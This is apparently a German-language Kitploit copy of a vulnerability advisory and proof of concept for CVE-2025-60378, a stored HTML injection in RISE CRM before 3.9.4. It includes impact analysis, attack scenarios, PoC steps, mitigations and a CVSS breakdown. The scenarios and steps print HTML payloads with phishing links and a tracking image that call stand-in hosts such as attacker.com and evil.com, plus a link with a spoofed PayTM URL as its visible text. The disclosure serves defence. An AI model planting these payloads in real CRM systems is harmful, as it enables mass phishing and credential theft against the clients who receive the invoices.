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CVE-2025-60378 — Proof of Concept für gespeicherte HTML-Injektion in RISE CRM, das zeigt, wie authentifizierte Benutzer bösartiges HTML in Rechnungen und Nachrichten injizieren können, was zu Phishing und Malware-Verteilung über automatisierte E-Mails und PDFs führt. | Kitploit
Tools/GitHubGitHub/ajansha/cve-2025-60378
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GitHubajansha/cve-2025-60378

CVE-2025-60378

Proof of Concept für gespeicherte HTML-Injektion in RISE CRM, das zeigt, wie authentifizierte Benutzer bösartiges HTML in Rechnungen und Nachrichten injizieren können, was zu Phishing und Malware-Verteilung über automatisierte E-Mails und PDFs führt.

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6vor 11 MonatenNoch nicht geprüft

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CVE-2025-60378: Gespeicherte HTML-Injection in RISE Ultimate Project Manager & CRM

⚠️ Sicherheitshinweis
Eine kritische Schwachstelle für gespeicherte HTML-Injection, die Rechnungen, Nachrichten und automatisierte Kommunikation betrifft

CVE Severity CVSS Product


📋 Übersicht

Eine kritische Schwachstelle für gespeicherte HTML-Injection wurde in RISE Ultimate Project Manager & CRM entdeckt, die es authentifizierten Benutzern ermöglicht, bösartiges HTML in Rechnungspositionen, Kundennotizen und Nachrichtenmodule einzuschleusen. Dieser injizierte Inhalt wird in der Datenbank gespeichert und automatisch in kundenorientierten E-Mails, PDFs und Chat-Kommunikation gerendert, was groß angelegte Phishing-Angriffe, Business-E-Mail-Kompromittierung und die Verbreitung von Malware über E-Mail/PDF ermöglicht.

🎯 Betroffene Versionen

  • Produkt: RISE - Ultimate Project Manager & CRM
  • Verwundbare Versionen: < 3.9.4
  • Behobene Version: 3.9.4+

🔍 Details zur Schwachstelle

AttributWert
CVE-IDCVE-2025-60378
TypGespeicherte HTML-Injection
CWECWE-79
AngriffsvektorNetzwerk/Remote
AuthentifizierungErforderlich (niedrige Berechtigungen)
BenutzerinteraktionKeine
SchweregradHOCH
CVSS v3.18.1 - Hoch
EntdeckerAjansha Shankar

Beschreibung

RISE CRM bereinigt und kodiert HTML-Inhalte in mehreren benutzerbearbeitbaren Feldern, einschließlich Rechnungen, Nachrichten und Kundennotizen, nicht ordnungsgemäß. Wenn authentifizierte Benutzer HTML-Payloads in diese Felder einschleusen, wird der Inhalt ohne ausreichende Filterung in der Datenbank gespeichert. Anschließend wird dieses bösartige HTML automatisch in kundenorientierten E-Mails, PDF-Anhängen und Nachrichten-/Chat-Modulen ohne ordnungsgemäßes Escaping gerendert. Wiederkehrende Rechnungen und automatisierte Nachrichten verstärken den Angriff, indem sie bösartige Inhalte gleichzeitig an mehrere Empfänger verteilen.

Betroffene Komponenten

  • ✗ Rechnungspositionen (Beschreibungsfeld)
  • ✗ Kundennotiz-/Nachrichtenmodul
  • ✗ Chat- und Nachrichtensystem
  • ✗ Modul zur Kundenerstellung von Kontoauszügen
  • ✗ Automatisiertes E-Mail-System (wiederkehrende Rechnungen, Erinnerungen)
  • ✗ PDF-Anhänge

Grundursache

  • ❌ Unzureichende Eingabebereinigung bei Rechnungs-, Nachrichten- und Kundennotizfeldern
  • ❌ Fehlende HTML-Ausgabekodierung in E-Mail-Vorlagen und PDF-Erstellung
  • ❌ Keine Inhaltsvalidierung vor der Speicherung in der Datenbank
  • ❌ Fehlende Einschränkungen für HTML/JavaScript in der Kundenkommunikation
  • ❌ Automatisierte Systeme verteilen unvalidierte Inhalte ohne zusätzliche Filterung

💥 Auswirkungen

Sicherheitsimplikationen

  • 🎣 Groß angelegtes Phishing: Injizierte Inhalte können legitime Kommunikation imitieren und mehrere Kunden auf vom Angreifer kontrollierte Websites umleiten
  • 💼 Business-E-Mail-Kompromittierung: Bösartige Rechnungen und Nachrichten, die an Kunden gesendet werden, scheinen von einer vertrauenswürdigen Quelle zu stammen
  • 💬 Kompromittierte Nachrichten: Bösartige Payloads im Chat/Nachrichten erreichen Teammitglieder und Kunden direkt
  • 🦠 Malware-Verbreitung: Eingebettete bösartige Links oder iframes liefern Malware über E-Mail/PDF/Nachrichten
  • 🔄 Automatisierte Angriffsverteilung: Wiederkehrende Rechnungen und automatisierte Nachrichten stellen sicher, dass die Payload mehrere Empfänger ohne manuelles Eingreifen erreicht
  • 👥 Multi-Vektor-Angriff: Die Kombination aus E-Mail-, PDF- und Nachrichten-Angriffsflächen erhöht die Erfolgsrate der Kompromittierung

Bewertung der CIA-Triade

FaktorAuswirkungErklärung
Vertraulichkeit🔴 HOCHKundenanmeldedaten und sensible Daten können über Phishing erbeutet werden
Integrität🔴 HOCHBösartige Inhalte können die Wahrnehmung von Kommunikation und Geschäftsbeziehungen verändern
Verfügbarkeit🟡 NIEDRIGBegrenzte direkte Auswirkung auf die Systemverfügbarkeit

Reale Angriffsszenarien

Szenario 1: Rechnungsbasiertes Phishing

Ein Angreifer mit Projektmanager-Zugriff mit niedrigen Berechtigungen erstellt eine Rechnung mit bösartigem HTML:

root@kitploit:~
<a href="https://attacker.com/fake-payment">Click here to view payment status</a>

Die Rechnung wird über automatisierte E-Mail an 100+ Kunden gesendet. Alle Kunden erhalten eine scheinbar legitime Rechnung, die sie auf eine Phishing-Website führt. Der Angreifer erbeutet gleichzeitig Anmeldedaten von mehreren Opfern.

Szenario 2: Angriff über Nachrichten

Ein Angreifer schleust bösartiges HTML in eine Kundennachricht ein:

root@kitploit:~
<img src="https://attacker.com/track.gif?user=CLIENT_ID">
<a href="https://malware.com">Download Updated Project Files</a>

Alle Teammitglieder und Kunden erhalten die Nachricht in ihrem Chat und klicken auf Links, um Malware herunterzuladen.

Szenario 3: Malware-Zustellung über wiederkehrende Rechnungen

Ein Angreifer richtet eine wiederkehrende Rechnung mit einer Malware-Zustellungs-Payload ein. Jeden Monat erhalten Kunden automatisch Rechnungen mit eingebetteten bösartigen Inhalten, was einen persistenten Angriffsvektor darstellt.

🧪 Proof of Concept

Umgebungseinrichtung

  • Zugriff auf das RISE-CRM-Adminpanel mit Berechtigungen zur Rechnungs-/Nachrichtenerstellung
  • Jede Version vor 3.9.4

PoC-Schritte

Schritt 1: Zugriff auf Rechnungs- oder Nachrichtenerstellung

root@kitploit:~
Navigieren zu: RISE CRM Dashboard → Rechnungen/Nachrichten → Neu erstellen

Schritt 2: HTML-Payload in das Beschreibungs-/Nachrichtenfeld einschleusen

root@kitploit:~
<a href="https://attacker.com">Click here to view invoice</a>

Schritt 3: Bösartiges Bild mit Weiterleitung hinzufügen

root@kitploit:~
<a href="https://evil.com" target="_blank">
  <img src="https://media1.giphy.com/media/v1.Y2lkPTc5MGI3NjExbzg4OXRuZHd4MXF0bWNqa3BvN2pzbWdqMzRxZHc5bHJpbXpucHNtaSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/9PgvV8ale90lQwfQTZ/giphy.gif">
</a>

Schritt 4: Irreführende Styling-Payload hinzufügen

root@kitploit:~
<h1><font color=red>Visit Our New WebSite</font></h1>
<h3><mark><a href="https://evil.com">https://www.paytm.com/</a></mark></h3>

Schritt 5: Wiederkehrende Verteilung konfigurieren

  • Datensatz speichern
  • Option "Wiederkehrend" aktivieren (falls für Rechnungen/Nachrichten verfügbar)
  • Häufigkeit festlegen (wöchentlich, monatlich usw.)
  • Das System sendet automatisch an alle relevanten Kunden

Schritt 6: Angriffsvektor verifizieren

  • Kunden-E-Mail-Postfach prüfen
  • Kunden-Nachrichten/Chat prüfen
  • PDF-Anhang öffnen
  • Beobachten, dass bösartiges HTML in allen Kanälen gerendert wird

Erwartetes Ergebnis

✅ Injiziertes HTML wird in E-Mails, PDFs und Nachrichten ohne Escaping gerendert ✅ Links sind klickbar und leiten auf Angreifer-Websites weiter ✅ Bilder werden von vom Angreifer kontrollierten Servern geladen ✅ Inhalte bleiben über alle zukünftigen Kundenkommunikationen hinweg bestehen ✅ Wiederkehrende Verteilung erreicht automatisch mehrere Empfänger

🛡️ Abhilfemaßnahmen

Für Endbenutzer

  1. ✅ Sofort aktualisieren: Update auf RISE CRM v3.9.4 oder höher durchführen
  2. 🔍 Alle Datensätze prüfen: Kürzliche Rechnungen, Nachrichten und Kundennotizen auf verdächtige HTML-Inhalte überprüfen
  3. ⚠️ Kunden benachrichtigen: Alle Kunden warnen, wenn verdächtige Rechnungen oder Nachrichten gesendet wurden
  4. 🔄 Anmeldedaten zurücksetzen: Kunden empfehlen, Passwörter zu ändern, wenn sie auf Links geklickt haben
  5. 📝 Aktivität überwachen: Audit-Logs auf unbefugte Rechnungs-/Nachrichtenänderungen prüfen
  6. 🔐 Wiederkehrende deaktivieren: Wiederkehrende Rechnungen/Nachrichten vorübergehend deaktivieren, bis der Patch installiert ist

📚 Referenzen

  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • OWASP: Cross-site Scripting (XSS)
  • OWASP: HTML Injection
  • OWASP: Output Encoding
  • CVE-2025-60378 Offizieller Eintrag

📅 Zeitplan

DatumEreignis
TBDSchwachstelle entdeckt
TBDHersteller benachrichtigt
TBDCVE-2025-60378 zugewiesen
TBDPatch veröffentlicht (v3.9.4)
TBDÖffentliche Offenlegung

👤 Danksagungen

Entdeckt von: Ajansha Shankar

LinkedIn: https://www.linkedin.com/in/ajansha-shankar/

📊 CVSS-v3.1-Bewertung

Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Punktzahl: 8.1 (HOCH)

Aufschlüsselung:

  • Angriffsvektor (AV:N): Netzwerk - Kann remote ausgenutzt werden
  • Angriffskomplexität (AC:L): Niedrig - Keine besonderen Bedingungen erforderlich
  • Erforderliche Berechtigungen (PR:L): Niedrig - Erfordert einen authentifizierten Benutzer mit grundlegenden Projektmanager-Berechtigungen
  • Benutzerinteraktion (UI:N): Keine - Keine Benutzerinteraktion erforderlich; automatisierte Systeme verteilen die Payload
  • Scope (S:U): Unverändert - Die Auswirkung ist auf die verwundbare Komponente beschränkt
  • Vertraulichkeit (C:H): Hoch - Potenzieller Diebstahl von Anmeldedaten über Phishing an mehrere Kunden
  • Integrität (I:H): Hoch - Bösartige Inhalte können injiziert und an mehrere Empfänger geliefert werden
  • Verfügbarkeit (A:N): Keine - Keine Auswirkung auf die Systemverfügbarkeit

📧 Kontakt

Bei Fragen oder für weitere Informationen:

  • LinkedIn: https://www.linkedin.com/in/ajansha-shankar/

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